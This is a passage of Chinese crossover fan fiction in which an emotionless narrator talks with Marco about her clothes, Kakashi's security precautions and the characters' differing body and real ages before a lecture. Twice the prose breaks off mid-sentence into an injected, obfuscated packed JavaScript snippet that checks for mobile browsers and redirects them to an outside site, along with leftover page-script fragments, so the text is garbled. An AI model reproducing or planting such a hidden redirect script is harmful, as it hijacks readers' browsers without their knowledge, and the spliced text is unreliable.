卡卡西见势不对,连忙吩咐:“旗木小姐,马上通知B组C组换出——我家大小姐到了哦!” ——旗木小姐? ——哪儿来的旗木小姐? 这特殊的称呼,让我和修兵不约而同地竖起了耳朵。 他说的不会是那位自称“旗木夫人”的,卡卡西迷妹吧? 卡卡西发完通知,立马要关闭通话,而对讲机里电流“滋滋”作响,意味着对方有话要说。 他关不了,被迫得听。我们也听——那头很快传来那位“旗木小姐”的声音——我没见过,修兵也没有,但料想她居然当着本人的面自称“旗木夫人”,理应是一位自信随和、开朗大方的小姐? “遵命!卡卡西殿下!”她一开口,果不其然,惊天动地。 “呃……”卡卡西赶紧闭麦了,冲着我们讪讪一笑。 他笑得比哭还难看。这太难得了,七年也难见一次卡卡西倍感尴尬! 此情此景,身为家人,很难不笑。 通话一结束,修兵暗自抿唇;马尔科咬着牙,强忍着望向了别处。 我面上虽然没笑,但那是因为在卡卡西的“办事处特别演出”里,我仍然是他的“女朋友”,当着一群工作人员,“女朋友”仍得给男朋友几分薄面。 等我们成功抵达礼堂,卡卡西驱逐了工作人员,偌大的礼堂里只有我们一家四口—— “噗!” “哈哈!” “哼哼~” ……我们笑他,毫不留情。 卡卡西尴尬地满脸绯红,工作期间固然有面罩遮挡了他的表情,但躲闪的意愿仍然透过他的眼睛流露出来——这太好笑了,让我想起鸣人让卡卡西当众阅读《亲热战术》的情景。 那时他尴尬地脚趾扣地,灵魂升天,不过寥寥数语,却要用尽毕生心力;眼下相差无几,卡卡西难得腼腆一次,平常他大声笑我,今天我也大声笑他。 “啊啊啊啊——你们几个!不许笑啊!” “就笑!哈哈哈!” “大小姐,你不许笑!” “我就笑,哈哈哈哈!” …… 今天他不能拿我怎么样。 昨晚确定过礼服,修兵便开始琢磨我的妆发,今早一起床,修兵老师亲自替我打点。我的每一根发丝都经大师匠心雕琢,这时候敲我头、捏我脸,会弄得我不漂亮——那我会生气的! 卡卡西当然不会这么做。 我笑得如此大声,他气得满场跺脚,破天荒地待不住,假借“有事”落荒而逃。 平常哪里见过他满场跺脚的时候?天呐,这更好笑了! “我去看看旗木夫人,”修兵扛着相机,紧随其后。 “哈哈,”眼看他们双双离去,我停不住。 “哈哈哈!”马尔科也是。 得益于卡卡西的尴尬,从昨晚开始“不对劲”的马尔科,一瞬间恢复如初。 他又能笑了,笑得尤为爽朗。只是当我看着他,他又忽然被吹熄了火焰,目光灼灼地沉寂下来。 “……” 马尔科不对劲,我终于觉察到是因为我。 这里没有别人。修兵和卡卡西离开了礼堂,最近的工作人员在三百米外的封锁线上。 “你做什么?”我直抒胸臆,“我们不是和好了吗?” “啊?”马尔科一愣,“说什么呢,大小姐,我们没有吵架!” “那你是什么意思?”我不理解,但我发现了,他眺望远方,是在回避我的目光,那或许局促是、迟疑也是。马尔科回避我而已。 “呃、没,没有,”可我业已问出口,马尔科还是不承认。 “……” 对话难免陷入僵持。 我能怎么办,如果他不肯说,我又不能撬开他的嘴。 我们在落地窗边驻足,欣赏着晨间的朝霞。 今日天晴,八点半已隐隐有些眉目。光从窗外倾泻而入,我闭上眼睛,细细听着附近的响动,确认现场安保情况。 “这条裙子……没见你穿过。”马尔科忽然开口。 “?” “就很漂亮,”他冷不丁地夸了我一句。 “……”这太突然了,没有一点铺垫,一时间只叫我错愕。 我没有心,不能将心比心地理解他此时此刻的心情。如果他说话没有铺垫,我无法合理推测他到底在说什么?为什么突然夸我? 我只能胡乱猜想,是不是我们刚才的对话让他产生“我们吵架”的错觉?可如果是的话,那我又该说什么? 我不知道啊,马尔科到底在干什么? …… 我愣住了,和他面面相觑。 我不会尴尬,马尔科会,他脸上又出现了局促,又开始手足无措起来。而且很明显,真的因为我—— “呃,我是说,”马尔科舔着唇,“风格……不一样呢,和平常的那些比……” “……” 我还是不知道他在说什么,怎么突然聊起了裙子?在我们家,只有精通时尚的修兵会和我聊这个话题,卡卡西和马尔科对此不感兴趣,也从不和我聊这些。 这样反常的举动分明意味着什么。但我不知道那到底是什么,索性回答他字面的问题,或许答案会在对话中出现。 “这是我自己的裙子。”我告诉他。 “你自己的裙子?”马尔科微微一怔,似乎真的只是聊裙子,就这话题仔细问询,“那衣柜里的那些……不是你自己的吗?” 那些当然不是。 我也告诉他:“那些是卡卡西买的——他负责照顾我,他买什么,我穿什么。” “呃……”马尔科抓了抓头发,“那就是说,现在衣柜里的裙子并不是你的风格,是卡卡西的品味?” “是的,”我略一点头,“如果你不喜欢可爱少女风,你也可以按照你的喜好打扮我。” “没、没有不喜欢!怎么会不喜欢!”马尔科头甩得像拨浪鼓。 我知道他没有不喜欢,是说说而已。我早早发现,他和卡卡西有诸多相同的爱好,对于可爱的事物都没有抵抗力。 卡卡西喜欢的粉红少女系睡裙,马尔科也爱不释手—— 我有十二条睡裙,按理说一月能轮换到两到三次,但马尔科和卡卡西一样,总把那条粉色的放到我枕边……那条粉色的,我一月能穿十回。 马尔科怎么可能不喜欢? 他只是感叹:“难怪呢,和你平常也差太多了……穿自己的裙子感觉完全不一样!” “真的……很漂亮!”他又夸奖我一次。 “谢谢,”我欣然接受。 “但是,大小姐这么爱漂亮,你自己的风格明显更适合你,你为什么会穿不那么漂亮的呢?” “嗯。不这么做的话,星探很烦人呢。” “星探?”马尔科愣了愣,略一挑眉,“是那种一直跟着你的人吗?” “……跟了十七条街都不肯放弃,把卡卡西的耐心都磨掉了。” 他嗤嗤地笑,自言自语着:“难怪卡卡西三句不离看紧大小姐呢……” “你们还会聊这些么?” “嗯,”他告诉我,“他只要有空就会给我发消息,不论聊什么,结局一定是说‘看紧大小姐’啊……” “……”我忍俊不禁。 奇奇怪怪的举动,一听就是卡卡西本人的作风。 昨天他也干了类似的事,下午五点临行告别,他抓住马尔科窃窃私语。 昨天我没有问,只怕一问,我和马尔科又要长篇大论地聊到天亮,然而今天有正事,不容耽搁。现在想来,卡卡西那表情似曾相识,应该也是一句“奇奇怪怪”的发言。 “昨天卡卡西和你说什么了?”眼下闲来无事,我凑上去,问马尔科,“如果不想回答可以不回答。” “没什么,”马尔科莞尔,“卡卡西说,他急着去拯救世界,把大小姐交给我了。” “就这?” “嗯。他交代我,要看紧大小姐……寸步不离什么的。” 好吧,我承认,听起来像卡卡西会说的话。 今日与会者,只有受邀的新人作者、办事处的工作人员、最高科学院的专家团。每个人都经过了办事处的背景调查,在入场前也将接受检查,按理说不会存在任何意外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073398|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但卡卡西做事滴水不漏,谨慎是他的美德。 谨慎当然是对的。 有些事,马尔科不知道,而我知道,卡卡西曾经告诉过我—— 办事处亦记载着一种特别的“暗杀术”: 施术者会漫不经心地接近被害人,然后在对方体内聚集查克拉,形成一个微量的“风遁·螺旋丸”,在肢体接触的一瞬间造成被害人内脏破损,而外表并不会有表现。 这种攻击十分阴毒,被攻击后几乎不会觉察到异样,却会因为内出血快速死亡。 当然,这个世界没有剧本,即便存在危险,出意外的可能是万分之一。 万分之一等于“微乎其微”,要想做成这种“暗杀术”,需要卡卡西这种级别的忍者——而卡卡西这种级别的忍者,世界上并没有几位。 不过是因为卡卡西心细如发,他知道容易有危险,所以不允许别人靠近我。 这么多年,卡卡西深谙门道,一直贴身护卫,未曾放松警惕。 我已经习惯了,也嘱咐马尔科:“……你也是,和人靠得太近,要多加小心。” 办事处的研发中心已经核实,查克拉和灵力均可视为一种特殊的能量波。 即便死神出身的能力者无法和火影出身的能力者“对波”——当两种能量冲击时,将属于叠加状态,会互相穿过,而无法互相抵消。但挥出的能量终究存在,卡卡西发出的招式一旦打在修兵身上,修兵也会受伤。 马尔科初来乍到,对死神和火影的基本能力、作用原理、常见招式……等等,一无所知。 两者各成体系,若不在办事处就职,不时刻和各色能力者打交道……一时半会儿也很难完全领会。 我并不打算现在教会他,填鸭式的教学没有任何意义。我认为最好的办法是暂时避其锋芒——身为学生,最重要的任务是学习,所以先放下无关的琐事,专心学习。 “……仍然有很多潜在能力者,无法控制好自己的能力。离他们远一点,他们会伤到你。” 马尔科笑了笑:“大小姐,我不会受伤的。” “不,你会受伤的,”我有必要解释清楚,这是截然不同的两码事,“受伤是受伤,痊愈是痊愈。马尔科,你不能因为自己拥有治愈能力,就当做没有受伤。” “什么?” “我说你会受伤,有的伤,你未必能治疗。” 我没有夸张,也不是说笑,我是认真的! 他的视力至今都没有恢复如初,可以证明我所言非虚——不死鸟的青焰固然有效,但不是所有的伤都可以治愈。即便治愈了,那也是新生出的血肉,不是旧的那一块。 最好的办法是不要受伤。 任何时候都不要拿生命开玩笑,也不要再做出顶上之战时依仗自己可以康复,便硬抗子弹的莽撞行为。 那无疑是愚蠢的。 但我不是在批评他。 马尔科的过去已经过去了,那也是他身为演员,参演“剧本”的一部分。我只是说现在、未来,基于马尔科本人自由选择的生活中,不允许拿生命开玩笑。 “下次遇到那种故意推撞你的人,要及时躲开。比赛可以暂停,输赢无关紧要,但不允许你仗着自己有治愈能力,用身体做赌注。” 赌徒从来做不了赢家。 我不允许这种事发生——这是我们家的规矩,我新定的,我严肃地通知马尔科。 “任何情况下都不允许。知道了吗。” 我不是要和他商量,也无需他回答。语气不免重了一些。 我们认识的时间还是太短了,这半年里,我和马尔科从没有面对面躺在同一个枕头上,聊着温馨亲切的话题;也同样没有过正经严肃地展开过对话。 我没有心,没有感情,聊天时把握不好尺度。 而他的心,敏感柔软,仿佛水面吹弹可破。 马尔科怔怔地注视着我,久久没有接话。 我不知道他在做什么,是我语气过重?还是这别开生面的交谈吓到了他? …… 好不容易活络的场面突然又沉寂了下来。 礼堂里空无一人,太阳逐渐升起,却隐入厚重的云彩后,不见踪迹。 我真的很不会聊天,无法顾及他的心情和想法。 理解对我而言终究是困难的。毕竟我没有心啊——虽然我并不认为这是一个缺点,但我也不否认,很多时候它的确给我带来了困扰。 譬如我永远没有办法理解到他真实的感情,我只能猜测。 如果我猜不到,我就会像现在这样,深感无措,不知道该说些什么才好? 他的喉结微微滑动。 “这条裙子……真的好漂亮。” “嗯?” 什么意思?怎么又突然说起裙子了? 我需要他解释,马尔科却不再说。 无言里,喉结再次滑动。他吞咽了几口唾沫,当我看着他时,他的目光飘向了窗外。 我不知道他在想什么。但很明显,他没有回应关于“谨慎”的讨论,这意味着他不想在这方面探讨。那好吧,如果他不想再交谈,我可以不聊。 话题到此为止。今天重要的是演讲,而不是安全。 安全问题来日方长。我们有时间慢慢洽谈。 我不说了,转过身,也望向窗外的风景。 九点整,有人来了。风声、鸟声、婆娑声里,校园大门处传来车辆驶入的响动。我赶紧闭眼,细听办事处三人早已在大门边恭候良久,负责人员是卡卡西的迷妹小姐,她正在和卡卡西报告…… 话语通过对讲机传达给身在礼堂后侧的卡卡西,修兵也和他在一起,同他聊着琐事。 “大小姐又不会介意,你有兴趣,可以去采访最高科学院。我们这边可没有特级记者,整个办事处也没几个特级编辑……” 这是一个新世界。原则上,任何人在到来后都不可以再和过去产生交集。卡卡西明知故犯,鼓动修兵在危险的边缘反复试探。 修兵并不上当,谨慎道:“等人来了再说,见机行事。” “好吧,不过二楼给你留了最佳拍摄位。如果你想采访,里面有特批的记者证……自取喔!” “你这家伙……知道了,快去忙吧。” 修兵被暗摆一道。卡卡西这坏蛋!记者证都准备好了,审核流程尤为繁琐,哪有不报道的道理? 两人分开了。修兵往二楼去,卡卡西快速接近礼堂正门,最高科学院的车已经在礼堂前停下。 车上……有三位男士…… 他们也坐了办事处的业务车,车厢隔音效果颇佳。他们在聊天,但我不太能听清……隐约能辨别是奔着马尔科来,因为我听到了马尔科的名字,而且来人……不是涅茧利。 这是个好消息,我想告诉修兵,他可以提前准备。刚一睁眼,却在反光的玻璃里和马尔科对视。 “……” 马尔科真的很不对劲。我不知道他究竟在做什么? 当我和他说话,他不看我,转头看着窗外风景;当我不和他说话,他却没有在看风景,而在看我。 66.24 春光(3) 他的目光晦涩难懂。毫无铺垫,却千奇百怪,已经远远超出了我可以理解的范畴。 我想马尔科大抵是有话要说?除此之外,我属实没有别的猜想。 “马尔科。” “是?” 我看着他,选择直抒胸臆。 距离会议开场还有一个小时。如果马尔科真的有事,这等关头,我想大抵是紧张的情愫在作祟……我得抓紧时间解决问题,以免金子被无关紧要的“灰尘”而埋没。 “我们说好的,你也签字了——有什么事都要说清楚。” “呃……”他微微一愣。 他有事,分明有。我蹙着眉,静静等待他的下文。 良久过去,马尔科舔着嘴唇,悠然说着:“没有事,就……” 他的目光又从我身上飘向了窗外。 这次我不准备放他走,伸手拽住了他的胳膊,迫使他面对我。 “什么?”我要他说出来,不说出来我怎么能知道问题所在,又如何帮他解决问题呢? “啊,那个……没有事,真的没有,”马尔科闪烁其词,“我就是觉得今天的风格很特别,感觉耳目一新呢,有点陌生。” “陌生?” “嗯。家里那么多可爱的小裙子,我还以为大小姐喜欢可爱的……结果,不是你的啊?” 他说他满心震撼,因为一点都不了解我。 真相竟和我所以为的“紧张”毫不相关。 “就这?” “是啊,”但他直视我的目光,唯有这句,不会闪躲。 “……”那好吧。如果马尔科只是想了解我的话。 我松了口气,也回馈他一些“真相”,或许也与他所“以为的”毫不相关。 “青春可爱不是我的风格,只是因为卡卡西喜欢——他照顾着我,和我一起生活,我无论穿什么自己都无法欣赏,但他可以,既然如此,所以我穿他喜欢的风格会令他感到愉悦。” “噢……”马尔科连连点头,“所以我也可以打扮大小姐?” “当然可以,”我许诺他,“你可以按照你喜欢的方式来打扮我,只要能让你感到愉悦。” “可是这不会冒犯吗?我没有什么审美可言,不像修兵那样时尚……” “没关系,”我不介意,“我的裙子太过隆重,穿着出门会招惹过多的注视……很麻烦。穿奇怪一点,不会招惹太多的目光,也很好。而且……” 我示意马尔科靠近。 他不明所以,却偏头靠近我—— 这样的距离一点也不安全。我可以伸手,毫不费力地调整他抓乱的头发,而他在我面前,因为太近,而无法呼吸。 “适当的过界行为,可以帮助亲密关系,”我告诉马尔科,“这样会很亲近,不是吗?书上是这样说的。” “……”马尔科后知后觉,不禁莞尔。 书上真的这样说,在《亲密关系学》中有过论述: 礼貌等于边界感,边界感强调了“个体”的独立性;而亲密关系的本质和存在,依托于打破个人边界、彼此融为一体。所以,在亲密关系中,偶尔且适当的“过界行为”并不是一种冒犯,而是强调越界方的“主动性”,被视为一种“邀约”,表达主动方更进一步的亲密“意愿”…… 所以,适当的不礼貌是一种情调。 虽然我很难理解,但它是。不仅是卡卡西,还有马尔科——他们都会因为我的“越界行为”忍俊不禁。 “……这是一种技巧吗?”马尔科问我。 “是的。” “这些技巧都是哪里学来的?” “什么?” “你看的那些小说会讲这些吗?” 我摇摇头。当然不会了,爱情小说里只有爱情,哪有这些枯燥乏味的阐述? “是其他书里看来的。” “你也看其他的书?”他微微一怔,又凑上来,“大小姐爱看什么类型?” “……”我已经告诉他很多次,我没有感情、没有“喜欢”、更何谈“爱”呢? 不过算了,或许这对于马尔科来说,也是一种习惯。 “天文、地理、历史、政治……有什么看什么。” 那是很早以前的事情了,那时候我的生活里没有修兵也没有卡卡西,我无事可做,日日看书。 “这么多?!”马尔科惊得眼睛都瞪圆了,“这些你都能看懂吗?” “可以啊,很好理解。对我来说很简单。” 因为全都是理性的议论,严密的推演。可以在脑海里复盘,知识就是那样的东西,过一遍,一遍就好,我或许记不住专业名词,但我知道原理。 对生活来说,知道原理就已经足够。 “很简单?”他还在惊讶,“那对你来说,什么是复杂的呢?” “……”我不得不蹙眉,“爱情小说好难,都看不懂!” 挑战未知充满了艰难。 我赞扬他迎难直上的勇气,因为我深知这份艰难如履薄冰。我没有在和马尔科说笑,事实上,我从不开玩笑,我没有幽默的细胞,每句话都是真知灼见。 “那看不懂……你还看得这么认真?” “当然了,正因为看不懂,才要更加努力地学习。” “——学习?”马尔科愣住了。 我明白,我理解——这不怪马尔科,不知者不罪。 他看见我衣柜里全是可爱的衣服,理所应该地以为我喜欢可爱的风格;他看见我看爱情小说,也理所应当地认为我爱好在此。这并不是一种偏见,而是一种自然而然地推理。 无所谓之前错了,只要现在是对的。 蛋壳一旦破碎,外面会有更广阔的天地——我会更了解他,他也会更了解我。 马尔科久久没有言语。 我望向窗外,那里平静无风,鸟鸣阵阵。两片云慢悠悠地经过,马尔科的喉结才再次滚动。 “那……” 我偏过头听他说。 而他仍在巨大的震撼里,久久不能平静。 “那你看小说不是因为‘喜欢’?”马尔科问我。 “不是的,”我摇着头,我没有喜欢,也不会喜欢。 这一点我已再三强调。 他知道,忙解释:“呃,我是说……年轻女孩子对爱情充满了想象,所以喜欢爱情小说。学校里那些小姑娘都这样,我以为你也是——” 我不是,我肯定:“我在学习。” “学习……感情?” “对。” 我无法感受,但我需要学习和人相处。这有益于家庭团结。 社科类的作品固然充满了人文关怀,但那些都太笼统、理论、委婉,充满了章法,遗失了原始质朴的野性。而少男少女们创作的爱情小说不一样,年轻的灵魂没有技巧,全是感情。 ——这有利于我的学习。 我需要学习的不是感情在广义上的阐述,而是感情在具体生活中细枝末节的行为表现。我得记住男女主角在面对各种生活事件时纯粹自然的反应,才能在自己经历时做出同样的动作。 是的,我是装的。 我没有心,没有真实的感情,也无法感知到那种东西的存在。我笑并不是因为快乐,哭也不是因为悲伤——我没有感情,我只能伪装。我笑,是因为在快乐的场合里应该笑,我哭,是因为在悲伤的环境里可以哭。 这虽然很是生硬死板,但没有办法——我无法理解感情啊! 如果实在没有办法,没有办法的办法也终归是一个办法;就好像念书,好学生可以理解记忆、融会贯通,而我这样的“差生”就只能靠死记硬背。 我无所谓死记硬背—— 学习是一种技巧,讲究方式方法。它和天赋无关,千人千面,只要能切实地起到帮助,就是好方法。 我也无所谓学习的内容是爱情小说—— 即便这听起来匪夷所思。可我实在愚钝,微不可察的描绘我压根无法分辨,只有最纯粹的、横冲直撞的、毫无技巧的爱情小说能触动我大条的神经。所以我向它学习,无所谓它高尚或者卑鄙。 决定方法是否有效的唯一标准,不是高尚和卑鄙,而是最后的效果。 爱情小说固然通俗,创作门槛低,内容本身没有太多的思想性。但我可以从中学习和体会纯粹而强烈的情感冲击。 事实证明,这很有效。 修兵和卡卡西知道我没有心,但对此一无所知的马尔科也始终没有觉察,不是吗? …… “我在学习,它帮助我理解感情。”我告诉马尔科。 “……”直到我说出口,他方才恍然大悟,不由得瞠目结舌。 “你、你没有感情!” “我没有。” “那之前……” “都是装的。” 笑也是、哭也是,是装的。我没有感情啊,我真的没有。 我的演技并不是太好,表演常常生硬,一旦遇到没有阅读过的“内容”,我便无法做出相应的“反馈”——但即便我如此笨拙,也无关紧要。 因为人无法和世上最优秀的人组成家庭,只能和最想成一家人的人成为一家人。在我的观察里,重要的从来不是聪明、优秀、十全十美……而是态度,我的态度。 我是无法拥有感情,但至少我在为此“学习”和“演出”。这积极的行为本身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083433|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就传递出了我想要和他们交好的意愿。 我笨一点也没有关系,我想要和他们建立联系,这才是重要的。 “……是这样,没错吧?”我问马尔科。 “呃……”真相来的太突然。他被惊得无言以对。 我不由得多说几句。 我不喜欢解释,除非有必要。除非我的解释能在震撼里,给予他一些安慰,而他需要这些抚慰。 “马尔科,表演固然是假的,但想要表演的意愿是真的,对吗?” “倘若不是因为认可你们的存在,我没有其他社交,也完全不需要‘学习’和‘演出’,对吗?” …… “嗯,是的!”未等我话尽,马尔科用力点头。并未因此退却。 他是如此的勇敢,即便知道了我是装的,仍然注视着我,非但没有避之不及,反而愈发热烈地注视着我。 说话的口吻也微妙的发生着变化,从起初的避而不谈,到现在的谈辞如云。 马尔科主动接着我的话茬:“你看待问题的方式……的确很不同寻常。” “很冷酷,是吗?” “不,”他否认了,“你的视角理性成熟,丝毫没有感情用事。” 我不得不提醒他:“马尔科,我没有感情。” “哈,我知道,我是说——”但他并没有想好要怎样去解释,话到嘴边却欲说还休,突然卡壳。 我理解,我太能理解了。我常常这样哑口无言。 思绪可以在脑中存放,却无法说出口。我手脚不便利,打字迟钝,就连说话……也经常被自己的声音惊扰。我很难解释清楚我的思考,别说解释,交流对我而言都异常困难。 “啊,我,那个……”马尔科解释不出,哑口无言间,可见震撼的余波仍然在他心里荡漾。 不过没关系,我知道,我替他答:“你是想说,抽丝剥茧、直击要害的思维方式非常少见,是吗?” “对对!就是这样!”他连连称道,“我是说,你看待问题的方式老练独到,简明扼要,直入主题……真的非常锐利!” 我们从未有过这样的交流。这份锋芒显然震撼到了他。 马尔科紧紧注视着我,始终维持着瞠目结舌的姿态。 “而且,虽然你无法感受情绪,”他抽了口气,以一种十分惊喜的口吻说道,“但其实你头脑清醒,只要抓住了要害,就完全可以预料到我要说什么,不是吗?” “嗯,是的。” 我可以知道。只要他并非毫无铺垫,以我的涉猎,我都能合理找到相似的情景,进而推测出他的言行举措背后的深意。 但前提是,不能毫无铺垫。否则我将无能为力。 这是我的弊端。 我不得不承认,也提醒他:“我并没有你形容得这样锋芒毕露,我有一定的局限性。” “谁没有局限性呢?”马尔科反驳了我,溢美之词来势汹汹,“你已经非常好了!难怪我一点都没发现,你真的很聪明啊大小姐。脑袋真的很好用!” “……” 那是因为礼堂十分温暖,我的脑袋才格外好用——我应该回答,但眼下的重点似乎不是我的脑袋,而是他难以自抑的欢愉。 我不知道马尔科为什么突然间变得如此欢愉,我无法理解他的心情。但我的皮肤却不断向我传达一个讯息——他注视我的目光格外热烈。 这样的讯息,从前我并没有接受过。 ——为什么?我不禁疑虑道。 但现在也似乎不是关心他热烈目光的时候——最高科学院的专家们准备下车了。车门一开,有关对马尔科的讨论传入我的耳朵里。 昨晚修兵替马尔科准备了一些问答,要他提前温习——不愧是特级记者,专家团的疑虑一如修兵所料。 我凝神细听,只有一个问题修兵未曾准备。 我怕我忘了,赶紧提醒他:“马尔科,如果专家团询问你的年纪,你要回答身体的年龄。” “啊?”他一愣,“什么意思?” “你三十岁,”我告诉他,“现在你三十岁,马尔科,不是四十三。” 这件事,从前我并没有和他说过。 卡卡西和修兵应该也没有,这和办事处没有关系,是我们家情况特殊。 现在说也不迟。 我告知马尔科:“我们家情况特殊,大家的身体年龄和真实年龄都不相符。外人并不知情,所以在日常交往中,要以身体的年龄为主,免得吓到了别人。” “一会儿你被问及,也要说身体的年纪。是三十岁,不是四十三,知道吗?”我在告诫他。 马尔科一怔,反问着我:“你有两个年纪?” 67.24 春光(4) 昆山玉碎凤凰叫。 礼堂里回荡着马尔科尖锐的啸鸣。 年纪并非不可言说的“秘密”。我不过顺口一提,未曾料到马尔科会如此在意。他的目光执着地注视着我,迫切地需求我给出答案。 然而这里不是说话的地方。 专家团已经通过了办事处的安检,即将踏入礼堂大门。 脚步声越来越近。一双双皮鞋踏在地毯上,声音沉闷,却整齐划一。 马尔科也听见了。我微微蹙眉,他迅速地牵起了我的手。 “来人了……大小姐,那我们去二楼吧!” “……” 来人了,来人而已。我们本不需要“逃跑”,只是涉及家庭内幕,不能再公开谈论罢了。但我没来得及制止,人已经被他拽到了二楼的休息室。 修兵在里面调试设备,门一开,同我们面面相觑。 “你们怎么上来了?” “呃……” 怀疑的目光落到马尔科脸上。马尔科一怔,这才如梦初醒,不由得面露赧然。 我们本不该“逃跑”,根本没有落跑的道理。 不过算了,我理解。他惯是来去如风,不拘一格。 何况那些过去不能“算了”,会永远地形成他、塑造他。口癖可以改变,但潜意识里遗留的“海贼记忆”仍然会持之以恒地左右他的行为。 改变本身就是缓慢的过程。 逃跑的行为即便不妥,但……算了。时间还多,我想我们来日方长。 “……”马尔科被问得呆住了。 “来通知你,”我替他解围,告诉修兵,“不是涅茧利队长。” “噢,”修兵一扶眼镜,也同他“算了”,转而肃然地与我讲,“我正要去找你……卡卡西申请了记者证,我准备去采访。出发之前,知会你一声。” “嗯。”我点着头,果断答应。 其实修兵不必说。卡卡西很了解我,我当然会答应,只要合情合理而不违法违规。我特意前来通知,也已表明我默许的态度。 但他仍然会通知我——那些过去,不仅会潜移默化地影响马尔科,也会深刻地影响到修兵。 ——不畏惧手中之剑者,没有握剑的资格。 那些常伴他身的格言,至今也在影响着他。如果卡卡西行事谨慎,那修兵行事是慎之又慎。谨慎是一种美德,卡卡西有;慎之又慎也是一种美德,那是独属于修兵的“光芒”。 不过今日可以稍微放松一些—— 我已经确认过附近几百米内的情况。卡卡西的安保设置丝丝入扣,整个大学都很安全。而且我本人就在这里,今日我穿着露肩的长礼服,一改常态,堂而皇之地展示着脖颈上的编号。 那数字具有震慑人心的力量。 只要我在,他们脖子里固然没有项圈,但仍然不会有人打他们干净脖颈的注意。 “你去吧。”我让他去,安心工作,不必在意原则上不可以和过去的人再接触。 “那我去了,”修兵背上了相机,“你们在这里休息一会儿……听说还有人来。” “谁?” “邀请了附近城市里最高科学院下属的合作机构。人多眼杂,太吵的话,你呆在这里好了。” 修兵把窗帘打开。二楼的观景台一览无余。 这里很好,居高临下,可以纵览全局。 我的高跟鞋有七公分,而我的个子却堪堪只有一米七。倘若礼堂来人过多,办事处外派工作人员执勤,人海重重,我身在外围,恐怕无法观赏到马尔科的演讲。 而这里地势颇佳,不必担心被高个子遮挡视线,也从源头上阻断了和生人接触的可能性…… 卡卡西办事,总是相得益彰,深入人心。 “好的,我就在这里。”我目送修兵离开。 门关上。 马尔科在我身边轻轻地舒了口气。 …… 这声短促的叹息大有如释重负的滋味。 联系上文,我自然而然地认为他已然意识到自己逃跑的行为并不妥当,许是在为此唏嘘。然而当我转向他,四目相接只一刹那,马尔科迅速发问—— “大小姐,你刚才说‘我们家情况特殊,大家的身体年龄和真实年龄都不相符’,这是什么意思?” “你也有两个年龄?身体的、真实的?” “那意思是,身体的年龄是十七八岁,真实的不是?” 他死死扣着我的手腕,问题有如浪潮,以排山倒海之势,向我奔涌而来。 “……”而这个问题,我并没有想过和他细说,一时间也只会因为他过多的热情而不适。 “马尔科,”我从他僵硬的姿势里脱身,试图要他冷静一点。 “呃,抱歉,弄疼你了?”可他嘴上说着抱歉的话,目光却紧追我不放。 话音未落,青焰顷刻间席卷了我的手腕。但他忘了,我早说过,在外人面前不要轻易地使出能力——那会吓坏普通人。 而短短十分钟,马尔科莽撞地拽着我到休息室、目光紧逼着等我回答,顾此失彼的忘记了“规定”……无数的反常不断提醒我一件事——马尔科十分介怀“年纪”。 而我着实没有料到,马尔科会如此在意。 ……为什么呢? 我不太理解。 这里没有外人,房间隔音效果颇佳,距离演出开始也还有半个多小时。 我想人的注意力总是有限。这半个多钟头里,不让他注视年纪,他就会不由自主地注意到即将开始的演出。 而人又总是趋利避害。 解释很麻烦,我不擅长。但比起安抚他紧张的情绪——那种我甚至不能触摸边际的东西——解释固然麻烦,我固然不擅长,但如果他真的很想知道,我可以多说几句。 “马尔科,慢慢说。” “哦,好……我就是……”他舔着唇,欲言又止。 “你想了解我,”我知道,正因我知道,所以我要他慢慢说,不要着急,我们有的是时间。 “嗯,是,”马尔科咧着嘴笑,“那大小姐到底多少岁?我有时候总觉得……” “不像二十岁的人吗?” “是的!” 他说他倍感疑惑。而时间却在他身上留下印记。 马尔科即便疑惑,也迟疑着先询问我的意愿:“这个……我方便问吗?小姐的年龄什么的……如果不方便的话,不回答也没关系。” “……” 我从未见过这样的马尔科,不由地微笑起来。 “我身体年纪是二十,真实年纪是二十八岁。” “二十八岁?”马尔科瞪圆了眼睛。 “怎么了?” “没,没有……修兵说你们认识七年了,认识的时候才二十一岁吗?” “不是。我一直二十八。” 这里是一个新世界。 就像不同世界的能力者无法对波一样,三个世界之所以能在一起,是因为“世界”处于空间叠加状态,而各个世界的“时间”既不相同,也不对等。 在叠加态的新世界里,原本世界的“时间”没有参考意义。 而时间本身是对空间运动变化的一种“感知”和“计量”。如果失去了参考意义,那么时间本质上并不存在…… 这些概念理应出现在马尔科错过的“入学第一课”。 然而他错过了,一直被蒙在鼓里,毫不知情;原本错过的课程应该由卡卡西为他补上,而整个冬天,卡卡西都在出差,没来得及“补课”……再往后,我记性不好,已经忘了。 归根结底,是我的问题。 我应该为他答疑解惑,尽我所能地弥补我犯下的错误。 “时间是一种感知空间运动的方式,在这个世界,时间固然在流逝,但它本质上并不存在,”我告诉他,“我一直二十八岁,无所谓七年前、还是七年后,都是二十八岁。” “这又是什么意思?”马尔科抿着唇,一脸茫然。 “意思是,每个世界的时间并不对等,所以时间不能作为通用的计量单位。这个世界也并不以‘时间’为度量标准,而是以‘空间切片’的形式。” “空间……切片?” “是的。你可以简单地理解成,每个人都由身体和灵魂组成,对应着‘身体年龄’和‘真实年龄’。但由于时间不对等,死神出身的人或许有上万年的年龄,而火影出身、海贼出身,甚至只有数月年纪……把上限拔高,失去了普遍意义,所以真实年龄没有考据的意义,在这里,以身体年龄为主。” 即便是小一千岁的修兵,他身体的年龄是固定的,只有二十八。 